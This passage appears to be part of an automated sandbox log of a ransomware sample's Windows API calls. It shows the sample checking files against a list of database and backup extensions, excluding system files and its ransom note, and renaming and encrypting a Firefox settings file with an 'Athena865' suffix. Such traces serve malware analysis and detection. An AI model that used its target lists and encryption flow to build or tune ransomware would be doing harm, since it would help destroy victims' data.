lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0045.623] lstrlenW (lpString="db3") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0045.623] lstrlenW (lpString="dbf") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0045.623] lstrlenW (lpString="mdf") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0045.623] lstrlenW (lpString="mdb") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0045.623] lstrlenW (lpString="sql") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0045.623] lstrlenW (lpString="sqlite") returned 6 [0045.623] lstrcmpiW (lpString1="gs.ini", lpString2="sqlite") returned -1 [0045.623] lstrlenW (lpString="sqlite3") returned 7 [0045.623] lstrcmpiW (lpString1="ngs.ini", lpString2="sqlite3") returned -1 [0045.623] lstrlenW (lpString="sqlitedb") returned 8 [0045.623] lstrcmpiW (lpString1="ings.ini", lpString2="sqlitedb") returned -1 [0045.623] lstrlenW (lpString="xml") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0045.623] lstrlenW (lpString="$er") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0045.623] lstrlenW (lpString="4dd") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0045.623] lstrlenW (lpString="4dl") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0045.623] lstrlenW (lpString="^^^") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0045.623] lstrlenW (lpString="abs") returned 3 [0045.623] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0045.623] lstrlenW (lpString="abx") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0045.624] lstrlenW (lpString="accdb") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1 [0045.624] lstrlenW (lpString="accdc") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1 [0045.624] lstrlenW (lpString="accde") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1 [0045.624] lstrlenW (lpString="accdr") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1 [0045.624] lstrlenW (lpString="accdt") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1 [0045.624] lstrlenW (lpString="accdw") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1 [0045.624] lstrlenW (lpString="accft") returned 5 [0045.624] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1 [0045.624] lstrlenW (lpString="adb") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0045.624] lstrlenW (lpString="adb") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0045.624] lstrlenW (lpString="ade") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0045.624] lstrlenW (lpString="adf") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0045.624] lstrlenW (lpString="adn") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0045.624] lstrlenW (lpString="adp") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0045.624] lstrlenW (lpString="alf") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0045.624] lstrlenW (lpString="ask") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0045.624] lstrlenW (lpString="btr") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0045.624] lstrlenW (lpString="cat") returned 3 [0045.624] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0045.624] lstrlenW (lpString="cdb") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0045.625] lstrlenW (lpString="ckp") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0045.625] lstrlenW (lpString="cma") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0045.625] lstrlenW (lpString="cpd") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0045.625] lstrlenW (lpString="dacpac") returned 6 [0045.625] lstrcmpiW (lpString1="gs.ini", lpString2="dacpac") returned 1 [0045.625] lstrlenW (lpString="dad") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0045.625] lstrlenW (lpString="dadiagrams") returned 10 [0045.625] lstrcmpiW (lpString1="ttings.ini", lpString2="dadiagrams") returned 1 [0045.625] lstrlenW (lpString="daschema") returned 8 [0045.625] lstrcmpiW (lpString1="ings.ini", lpString2="daschema") returned 1 [0045.625] lstrlenW (lpString="db-journal") returned 10 [0045.625] lstrcmpiW (lpString1="ttings.ini", lpString2="db-journal") returned 1 [0045.625] lstrlenW (lpString="db-shm") returned 6 [0045.625] lstrcmpiW (lpString1="gs.ini", lpString2="db-shm") returned 1 [0045.625] lstrlenW (lpString="db-wal") returned 6 [0045.625] lstrcmpiW (lpString1="gs.ini", lpString2="db-wal") returned 1 [0045.625] lstrlenW (lpString="dbc") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0045.625] lstrlenW (lpString="dbs") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0045.625] lstrlenW (lpString="dbt") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0045.625] lstrlenW (lpString="dbv") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0045.625] lstrlenW (lpString="dbx") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0045.625] lstrlenW (lpString="dcb") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0045.625] lstrlenW (lpString="dct") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0045.625] lstrlenW (lpString="dcx") returned 3 [0045.625] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0045.626] lstrlenW (lpString="ddl") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0045.626] lstrlenW (lpString="dlis") returned 4 [0045.626] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0045.626] lstrlenW (lpString="dp1") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0045.626] lstrlenW (lpString="dqy") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0045.626] lstrlenW (lpString="dsk") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0045.626] lstrlenW (lpString="dsn") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0045.626] lstrlenW (lpString="dtsx") returned 4 [0045.626] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0045.626] lstrlenW (lpString="dxl") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0045.626] lstrlenW (lpString="eco") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0045.626] lstrlenW (lpString="ecx") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0045.626] lstrlenW (lpString="edb") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0045.626] lstrlenW (lpString="epim") returned 4 [0045.626] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0045.626] lstrlenW (lpString="fcd") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0045.626] lstrlenW (lpString="fdb") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0045.626] lstrlenW (lpString="fic") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0045.626] lstrlenW (lpString="flexolibrary") returned 12 [0045.626] lstrcmpiW (lpString1="settings.ini", lpString2="flexolibrary") returned 1 [0045.626] lstrlenW (lpString="fm5") returned 3 [0045.626] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0045.626] lstrlenW (lpString="fmp") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0045.627] lstrlenW (lpString="fmp12") returned 5 [0045.627] lstrcmpiW (lpString1="s.ini", lpString2="fmp12") returned 1 [0045.627] lstrlenW (lpString="fmpsl") returned 5 [0045.627] lstrcmpiW (lpString1="s.ini", lpString2="fmpsl") returned 1 [0045.627] lstrlenW (lpString="fol") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0045.627] lstrlenW (lpString="fp3") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0045.627] lstrlenW (lpString="fp4") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0045.627] lstrlenW (lpString="fp5") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0045.627] lstrlenW (lpString="fp7") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0045.627] lstrlenW (lpString="fpt") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0045.627] lstrlenW (lpString="frm") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0045.627] lstrlenW (lpString="gdb") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0045.627] lstrlenW (lpString="gdb") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0045.627] lstrlenW (lpString="grdb") returned 4 [0045.627] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0045.627] lstrlenW (lpString="gwi") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0045.627] lstrlenW (lpString="hdb") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0045.627] lstrlenW (lpString="his") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0045.627] lstrlenW (lpString="ib") returned 2 [0045.627] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0045.627] lstrlenW (lpString="idb") returned 3 [0045.627] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0045.627] lstrlenW (lpString="ihx") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0045.628] lstrlenW (lpString="itdb") returned 4 [0045.628] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0045.628] lstrlenW (lpString="itw") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0045.628] lstrlenW (lpString="jet") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0045.628] lstrlenW (lpString="jtx") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0045.628] lstrlenW (lpString="kdb") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0045.628] lstrlenW (lpString="kexi") returned 4 [0045.628] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0045.628] lstrlenW (lpString="kexic") returned 5 [0045.628] lstrcmpiW (lpString1="s.ini", lpString2="kexic") returned 1 [0045.628] lstrlenW (lpString="kexis") returned 5 [0045.628] lstrcmpiW (lpString1="s.ini", lpString2="kexis") returned 1 [0045.628] lstrlenW (lpString="lgc") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0045.628] lstrlenW (lpString="lwx") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0045.628] lstrlenW (lpString="maf") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0045.628] lstrlenW (lpString="maq") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0045.628] lstrlenW (lpString="mar") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0045.628] lstrlenW (lpString="marshal") returned 7 [0045.628] lstrcmpiW (lpString1="ngs.ini", lpString2="marshal") returned 1 [0045.628] lstrlenW (lpString="mas") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0045.628] lstrlenW (lpString="mav") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0045.628] lstrlenW (lpString="maw") returned 3 [0045.628] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0045.628] lstrlenW (lpString="mdbhtml") returned 7 [0045.629] lstrcmpiW (lpString1="ngs.ini", lpString2="mdbhtml") returned 1 [0045.629] lstrlenW (lpString="mdn") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0045.629] lstrlenW (lpString="mdt") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0045.629] lstrlenW (lpString="mfd") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0045.629] lstrlenW (lpString="mpd") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0045.629] lstrlenW (lpString="mrg") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0045.629] lstrlenW (lpString="mud") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0045.629] lstrlenW (lpString="mwb") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0045.629] lstrlenW (lpString="myd") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0045.629] lstrlenW (lpString="ndf") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0045.629] lstrlenW (lpString="nnt") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0045.629] lstrlenW (lpString="nrmlib") returned 6 [0045.629] lstrcmpiW (lpString1="gs.ini", lpString2="nrmlib") returned -1 [0045.629] lstrlenW (lpString="ns2") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0045.629] lstrlenW (lpString="ns3") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0045.629] lstrlenW (lpString="ns4") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0045.629] lstrlenW (lpString="nsf") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0045.629] lstrlenW (lpString="nv") returned 2 [0045.629] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0045.629] lstrlenW (lpString="nv2") returned 3 [0045.629] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0045.629] lstrlenW (lpString="nwdb") returned 4 [0045.629] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0045.630] lstrlenW (lpString="nyf") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0045.630] lstrlenW (lpString="odb") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0045.630] lstrlenW (lpString="odb") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0045.630] lstrlenW (lpString="oqy") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0045.630] lstrlenW (lpString="ora") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0045.630] lstrlenW (lpString="orx") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0045.630] lstrlenW (lpString="owc") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0045.630] lstrlenW (lpString="p96") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0045.630] lstrlenW (lpString="p97") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0045.630] lstrlenW (lpString="pan") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0045.630] lstrlenW (lpString="pdb") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0045.630] lstrlenW (lpString="pdm") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0045.630] lstrlenW (lpString="pnz") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0045.630] lstrlenW (lpString="qry") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0045.630] lstrlenW (lpString="qvd") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0045.630] lstrlenW (lpString="rbf") returned 3 [0045.630] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0045.630] lstrlenW (lpString="rctd") returned 4 [0045.630] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0045.630] lstrlenW (lpString="rod") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0045.631] lstrlenW (lpString="rodx") returned 4 [0045.631] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0045.631] lstrlenW (lpString="rpd") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0045.631] lstrlenW (lpString="rsd") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0045.631] lstrlenW (lpString="sas7bdat") returned 8 [0045.631] lstrcmpiW (lpString1="ings.ini", lpString2="sas7bdat") returned -1 [0045.631] lstrlenW (lpString="sbf") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0045.631] lstrlenW (lpString="scx") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0045.631] lstrlenW (lpString="sdb") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0045.631] lstrlenW (lpString="sdc") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0045.631] lstrlenW (lpString="sdf") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0045.631] lstrlenW (lpString="sis") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0045.631] lstrlenW (lpString="spq") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0045.631] lstrlenW (lpString="te") returned 2 [0045.631] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0045.631] lstrlenW (lpString="teacher") returned 7 [0045.631] lstrcmpiW (lpString1="ngs.ini", lpString2="teacher") returned -1 [0045.631] lstrlenW (lpString="tmd") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0045.631] lstrlenW (lpString="tps") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0045.631] lstrlenW (lpString="trc") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0045.631] lstrlenW (lpString="trc") returned 3 [0045.631] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0045.631] lstrlenW (lpString="trm") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0045.632] lstrlenW (lpString="udb") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0045.632] lstrlenW (lpString="udl") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0045.632] lstrlenW (lpString="usr") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0045.632] lstrlenW (lpString="v12") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0045.632] lstrlenW (lpString="vis") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0045.632] lstrlenW (lpString="vpd") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0045.632] lstrlenW (lpString="vvv") returned 3 [0045.632] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0045.632] lstrlenW (lpString="wdb") returned 3 [0045.633] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0045.633] lstrlenW (lpString="wmdb") returned 4 [0045.633] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0045.633] lstrlenW (lpString="wrk") returned 3 [0045.633] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0045.633] lstrlenW (lpString="xdb") returned 3 [0045.633] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0045.633] lstrlenW (lpString="xld") returned 3 [0045.633] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0045.633] lstrlenW (lpString="xmlff") returned 5 [0045.633] lstrcmpiW (lpString1="s.ini", lpString2="xmlff") returned -1 [0045.633] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini.Athena865") returned 68 [0045.633] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini.athena865"), dwFlags=0x1) returned 1 [0045.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\update-settings.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0045.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=137) returned 1 [0045.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.635] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.635] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.636] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154 [0045.638] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0045.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.639] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.639] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.640] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.640] CloseHandle (hObject=0x154) returned 1 [0045.640] CloseHandle (hObject=0x17c) returned 1 [0045.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.641] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2=".") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="..") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="windows") returned -1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="bootmgr") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="temp") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="pagefile.sys") returned 1 [0045.641] lstrcmpiW (lpString1="updater.exe", lpString2="boot") returned 1 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2="ids.txt") returned 1 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2="ntuser.dat") returned 1 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2="perflogs") returned 1 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2="MSBuild") returned 1 [0045.642] lstrlenW (lpString="updater.exe") returned 11 [0045.642] lstrcpyW (in: lpString1=0x241e896, lpString2="updater.exe" | out: lpString1="updater.exe") returned="updater.exe" [0045.642] lstrlenW (lpString="updater.exe") returned 11 [0045.642] lstrlenW (lpString="Athena865") returned 9 [0045.642] lstrcmpiW (lpString1="dater.exe", lpString2="Athena865") returned 1 [0045.642] lstrlenW (lpString=".dll") returned 4 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2=".dll") returned 1 [0045.642] lstrlenW (lpString=".lnk") returned 4 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2=".lnk") returned 1 [0045.642] lstrlenW (lpString=".ini") returned 4 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2=".ini") returned 1 [0045.642] lstrlenW (lpString=".sys") returned 4 [0045.642] lstrcmpiW (lpString1="updater.exe", lpString2=".sys") returned 1 [0045.642] lstrlenW (lpString="updater.exe") returned 11 [0045.642] lstrlenW (lpString="bak") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0045.642] lstrlenW (lpString="ba_") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0045.642] lstrlenW (lpString="dbb") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0045.642] lstrlenW (lpString="vmdk") returned 4 [0045.642] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0045.642] lstrlenW (lpString="rar") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0045.642] lstrlenW (lpString="zip") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0045.642] lstrlenW (lpString="tgz") returned 3 [0045.642] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0045.642] lstrlenW (lpString="vbox") returned 4 [0045.642] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0045.643] lstrlenW (lpString="vdi") returned 3 [0045.643] 